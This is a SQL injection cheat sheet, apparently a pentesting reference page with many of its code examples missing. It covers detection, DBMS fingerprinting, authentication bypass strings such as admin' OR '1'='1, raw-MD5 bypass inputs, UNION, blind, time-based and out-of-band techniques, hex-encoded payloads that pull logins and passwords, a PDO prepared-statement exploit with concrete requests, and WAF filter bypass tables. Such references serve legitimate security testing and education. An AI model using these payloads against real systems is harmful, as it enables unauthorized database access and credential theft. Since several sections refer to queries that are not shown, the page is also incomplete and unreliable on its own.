SQL Injection

SQL Injection (SQLi) is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. SQL Injection is one of the most common and severe types of web application vulnerabilities, enabling attackers to execute arbitrary SQL code on the database. This can lead to unauthorized data access, data manipulation, and, in some cases, full compromise of the database server.

Summary

Tools

Entry Point Detection

Detecting the entry point in SQL injection (SQLi) involves identifying locations in an application where user input is not properly sanitized before it is included in SQL queries.

  • Error Messages: Inputting special characters (e.g., a single quote ') into input fields might trigger SQL errors. If the application displays detailed error messages, it can indicate a potential SQL injection point.

    • Simple characters: ', ", ;, ) and *

    • Simple characters encoded: %27, %22, %23, %3B, %29 and %2A

    • Multiple encoding: %%2727, %25%27

    • Unicode characters: U+02BA, U+02B9

      • MODIFIER LETTER DOUBLE PRIME (U+02BA encoded as %CA%BA) is transformed into U+0022 QUOTATION MARK (`)

      • MODIFIER LETTER PRIME (U+02B9 encoded as %CA%B9) is transformed into U+0027 APOSTROPHE (')

  • Tautology-Based SQL Injection: By inputting tautological (always true) conditions, you can test for vulnerabilities. For instance, entering admin' OR '1'='1 in a username field might log you in as the admin if the system is vulnerable.

    • Merging characters

    • Logic Testing

  • Timing Attacks: Inputting SQL commands that cause deliberate delays (e.g., using SLEEP or BENCHMARK functions in MySQL) can help identify potential injection points. If the application takes an unusually long time to respond after such input, it might be vulnerable.

DBMS Identification

DBMS Identification Keyword Based

Certain SQL keywords are specific to particular database management systems (DBMS). By using these keywords in SQL injection attempts and observing how the website responds, you can often determine the type of DBMS in use.

DBMS
SQL Payload

MySQL

conv('a',16,2)=conv('a',16,2)

MySQL

connection_id()=connection_id()

MySQL

crc32('MySQL')=crc32('MySQL')

MSSQL

BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)

MSSQL

@@CONNECTIONS>0

MSSQL

@@CONNECTIONS=@@CONNECTIONS

MSSQL

@@CPU_BUSY=@@CPU_BUSY

MSSQL

USER_ID(1)=USER_ID(1)

ORACLE

ROWNUM=ROWNUM

ORACLE

RAWTOHEX('AB')=RAWTOHEX('AB')

ORACLE

LNNVL(0=123)

POSTGRESQL

5::int=5

POSTGRESQL

5::integer=5

POSTGRESQL

pg_client_encoding()=pg_client_encoding()

POSTGRESQL

get_current_ts_config()=get_current_ts_config()

POSTGRESQL

quote_literal(42.5)=quote_literal(42.5)

POSTGRESQL

current_database()=current_database()

SQLITE

sqlite_version()=sqlite_version()

SQLITE

last_insert_rowid()>1

SQLITE

last_insert_rowid()=last_insert_rowid()

MSACCESS

val(cvar(1))=1

MSACCESS

IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0

DBMS Identification Error Based

Different DBMSs return distinct error messages when they encounter issues. By triggering errors and examining the specific messages sent back by the database, you can often identify the type of DBMS the website is using.

DBMS
Example Error Message
Example Payload

MySQL

You have an error in your SQL syntax; ... near '' at line 1

'

PostgreSQL

ERROR: unterminated quoted string at or near "'"

'

PostgreSQL

ERROR: syntax error at or near "1"

1'

Microsoft SQL Server

Unclosed quotation mark after the character string ''.

'

Microsoft SQL Server

Incorrect syntax near ''.

'

Microsoft SQL Server

The conversion of the varchar value to data type int resulted in an out-of-range value.

1'

Oracle

ORA-00933: SQL command not properly ended

'

Oracle

ORA-01756: quoted string not properly terminated

'

Oracle

ORA-00923: FROM keyword not found where expected

1'

Authentication Bypass

In a standard authentication mechanism, users provide a username and password. The application typically checks these credentials against a database. For example, a SQL query might look something like this:

An attacker can attempt to inject malicious SQL code into the username or password fields. For instance, if the attacker types the following in the username field:

And leaves the password field empty, the resulting SQL query executed might look like this:

Here, '1'='1' is always true, which means the query could return a valid user, effectively bypassing the authentication check.

⚠️ In this case, the database will return an array of results because it will match every users in the table. This will produce an error in the server side since it was expecting only one result. By adding a LIMIT clause, you can restrict the number of rows returned by the query. By submitting the following payload in the username field, you will log in as the first user in the database. Additionally, you can inject a payload in the password field while using the correct username to target a specific user.

⚠️ Avoid using this payload indiscriminately, as it always returns true. It could interact with endpoints that may inadvertently delete sessions, files, configurations, or database data.

Raw MD5 and SHA1

In PHP, if the optional binary parameter is set to true, then the md5 digest is instead returned in raw binary format with a length of 16. Let's take this PHP code where the authentication is checking the MD5 hash of the password submitted by the user.

An attacker can craft a payload where the result of the md5($password,true) function will contain a quote and escape the SQL context, for example with ' or 'SOMETHING.

Hash
Input
Output (Raw)
Payload

md5

ffifdyop

'or'6�]��!r,��b

'or'

md5

129581926211651571912466741651878684928

ÚT0DŸo#ßÁ'or'8

'or'

sha1

3fDf

Q�u'='�@�[�t�- o��_-!

'='

sha1

178374

™ÜÛ¾}_i™›a!8Wm'/*´Õ

'/*

sha1

17

Ùp2ûjww™%6\

\

This behavior can be abused to bypass the authentication by escaping the context.

UNION Based Injection

In a standard SQL query, data is retrieved from one table. The UNION operator allows multiple SELECT statements to be combined. If an application is vulnerable to SQL injection, an attacker can inject a crafted SQL query that appends a UNION statement to the original query.

Let's assume a vulnerable web application retrieves product details based on a product ID from a database:

An attacker could modify the input_id to include the data from another table like users.

After submitting our payload, the query become the following SQL:

⚠️ The 2 SELECT clauses must have the same number of columns.

Error Based Injection

Error-Based SQL Injection is a technique that relies on the error messages returned from the database to gather information about the database structure. By manipulating the input parameters of an SQL query, an attacker can make the database generate error messages. These errors can reveal critical details about the database, such as table names, column names, and data types, which can be used to craft further attacks.

For example, on a PostgreSQL, injecting this payload in a SQL query would result in an error since the LIMIT clause is expecting a numeric value.

The error will leak the output of the version().

Blind Injection

Blind SQL Injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the application's response.

Boolean Based Injection

Attacks rely on sending an SQL query to the database, making the application return a different result depending on whether the query returns TRUE or FALSE. The attacker can infer information based on differences in the behavior of the application.

Size of the page, HTTP response code, or missing parts of the page are strong indicators to detect whether the Boolean-based Blind SQL injection was successful.

Here is a naive example to recover the content of the @@hostname variable.

Identify Injection Point and Confirm Vulnerability : Inject a payload that evaluates to true/false to confirm SQL injection vulnerability. For example:

Extract Hostname Length: Guess the length of the hostname by incrementing until the response indicates a match. For example:

Extract Hostname Characters : Extract each character of the hostname using substring and ASCII comparison:

Then repeat the method to discover every characters of the @@hostname. Obviously this example is not the fastest way to obtain them. Here are a few pointers to speed it up:

  • Extract characters using dichotomy: it reduces the number of requests from linear to logarithmic time, making data extraction much more efficient.

Blind Error Based Injection

Attacks rely on sending an SQL query to the database, making the application return a different result depending on whether the query returned successfully or triggered an error. In this case, we only infer the success from the server's answer, but the data is not extracted from output of the error.

Example: Using json() function in SQLite to trigger an error as an oracle to know when the injection is true or false.

Time Based Injection

Time-based SQL Injection is a type of blind SQL Injection attack that relies on database delays to infer whether certain queries return true or false. It is used when an application does not display any direct feedback from the database queries but allows execution of time-delayed SQL commands. The attacker can analyze the time it takes for the database to respond to indirectly gather information from the database.

  • Default SLEEP function for the database

  • Heavy queries that take a lot of time to complete, usually crypto functions.

Let's see a basic example to recover the version of the database using a time based sql injection.

If the server's response is taking a few seconds before getting received, then the version is starting is by '5'.

Out of Band (OAST)

Out-of-Band SQL Injection (OOB SQLi) occurs when an attacker uses alternative communication channels to exfiltrate data from a database. Unlike traditional SQL injection techniques that rely on immediate responses within the HTTP response, OOB SQL injection depends on the database server's ability to make network connections to an attacker-controlled server. This method is particularly useful when the injected SQL command's results cannot be seen directly or the server's responses are not stable or reliable.

Different databases offer various methods for creating out-of-band connections, the most common technique is the DNS exfiltration:

  • MySQL

  • MSSQL

Stacked Based Injection

Stacked Queries SQL Injection is a technique where multiple SQL statements are executed in a single query, separated by a delimiter such as a semicolon (;). This allows an attacker to execute additional malicious SQL commands following a legitimate query. Not all databases or application configurations support stacked queries.

Polyglot Injection

A polygot SQL injection payload is a specially crafted SQL injection attack string that can successfully execute in multiple contexts or environments without modification. This means that the payload can bypass different types of validation, parsing, or execution logic in a web application or database by being valid SQL in various scenarios.

Routed Injection

Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. - Zenodermus Javanicus

In short, the result of the first SQL query is used to build the second SQL query. The usual format is ' union select 0xHEXVALUE -- where the HEX is the SQL injection for the second query.

Example 1:

0x2720756e696f6e2073656c65637420312c3223 is the hex encoded of ' union select 1,2#

Example 2:

0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 is the hex encoded of -1' union select login,password from users-- a.

Second Order SQL Injection

Second Order SQL Injection is a subtype of SQL injection where the malicious SQL payload is primarily stored in the application's database and later executed by a different functionality of the same application. Unlike first-order SQLi, the injection doesn’t happen right away. It is triggered in a separate step, often in a different part of the application.

  1. User submits input that is stored (e.g., during registration or profile update).

  2. That input is saved without validation but doesn't trigger a SQL injection.

  3. Later, the application retrieves and uses the stored data in a SQL query.

  4. If this query is built unsafely, the injection is triggered.

PDO Prepared Statements

PDO, or PHP Data Objects, is an extension for PHP that provides a consistent and secure way to access and interact with databases. It is designed to offer a standardized approach to database interaction, allowing developers to use a consistent API across multiple types of databases like MySQL, PostgreSQL, SQLite, and more.

PDO allows for binding of input parameters, which ensures that user data is properly sanitized before being executed as part of a SQL query. However it might still be vulnerable to SQL injections if the developers allowed user input inside the SQL query.

Requirements:

  • DMBS

    • MySQL is vulnerable by default.

    • Postgres is not vulnerable by default, unless the emulation is turned on with PDO::ATTR_EMULATE_PREPARES => true.

    • SQLite is not vulnerable to this attack.

  • SQL injection anywhere inside a PDO statement: $pdo->prepare("SELECT $INJECT_SQL_HERE...").

  • PDO used for another SQL parameter, either with ? or :parameter.

Methodology:

NOTE: In PHP 8.3 and lower, the injection happens even without a null byte (\0). The attacker only needs to smuggle a ":" or a "?".

  • Detect the SQLi using ?#\0: GET /index.php?col=%3f%23%00&name=anything

  • Force a select `'x` instead of a column name and create a comment. Inject a backtick to fix the column and terminate the SQL query with ;#: GET /index.php?col=%3f%23%00&name=x%60;%23

  • Inject in second parameter the payload. GET /index2.php?col=\%3f%23%00&name=x%60+FROM+(SELECT+table_name+AS+'x+from+information_schema.tables)y%3b%2523

  • Final SQL queries

Generic WAF Bypass


No Space Allowed

Some web applications attempt to secure their SQL queries by blocking or stripping space characters to prevent simple SQL injection attacks. However, attackers can bypass these filters by using alternative whitespace characters, comments, or creative use of parentheses.

Alternative Whitespace Characters

Most databases interpret certain ASCII control characters and encoded spaces (such as tabs, newlines, etc.) as whitespace in SQL statements. By encoding these characters, attackers can often evade space-based filters.

Example Payload
Description

?id=1%09and%091=1%09--

%09 is tab (\t)

?id=1%0Aand%0A1=1%0A--

%0A is line feed (\n)

?id=1%0Band%0B1=1%0B--

%0B is vertical tab

?id=1%0Cand%0C1=1%0C--

%0C is form feed

?id=1%0Dand%0D1=1%0D--

%0D is carriage return (\r)

?id=1%A0and%A01=1%A0--

%A0 is non-breaking space

ASCII Whitespace Support by Database:

DBMS
Supported Whitespace Characters (Hex)

SQLite3

0A, 0D, 0C, 09, 20

MySQL 5

09, 0A, 0B, 0C, 0D, A0, 20

MySQL 3

01–1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0

PostgreSQL

0A, 0D, 0C, 09, 20

Oracle 11g

00, 0A, 0D, 0C, 09, 20

MSSQL

01–1F, 20

Bypassing with Comments and Parentheses

SQL allows comments and grouping, which can break up keywords and queries, thus defeating space filters:

Bypass
Technique

?id=1/*comment*/AND/**/1=1/**/--

Comment

?id=1/*!12345UNION*//*!12345SELECT*/1--

Conditional comment

?id=(1)and(1)=(1)--

Parenthesis

No Comma Allowed

Bypass using OFFSET, FROM and JOIN.

Forbidden
Bypass

LIMIT 0,1

LIMIT 1 OFFSET 0

SUBSTR('SQL',1,1)

SUBSTR('SQL' FROM 1 FOR 1)

SELECT 1,2,3,4

UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

No Equal Allowed

Bypass using LIKE/NOT IN/IN/BETWEEN

Bypass
SQL Example

LIKE

SUBSTRING(VERSION(),1,1)LIKE(5)

NOT IN

SUBSTRING(VERSION(),1,1)NOT IN(4,3)

IN

SUBSTRING(VERSION(),1,1)IN(4,3)

BETWEEN

SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4

Case Modification

Bypass using uppercase/lowercase.

Bypass
Technique

AND

Uppercase

and

Lowercase

aNd

Mixed case

Bypass using keywords case insensitive or an equivalent operator.

Forbidden
Bypass

AND

&&

OR

||

=

LIKE, REGEXP, BETWEEN

>

NOT BETWEEN 0 AND X

WHERE

HAVING

Labs

References

Last updated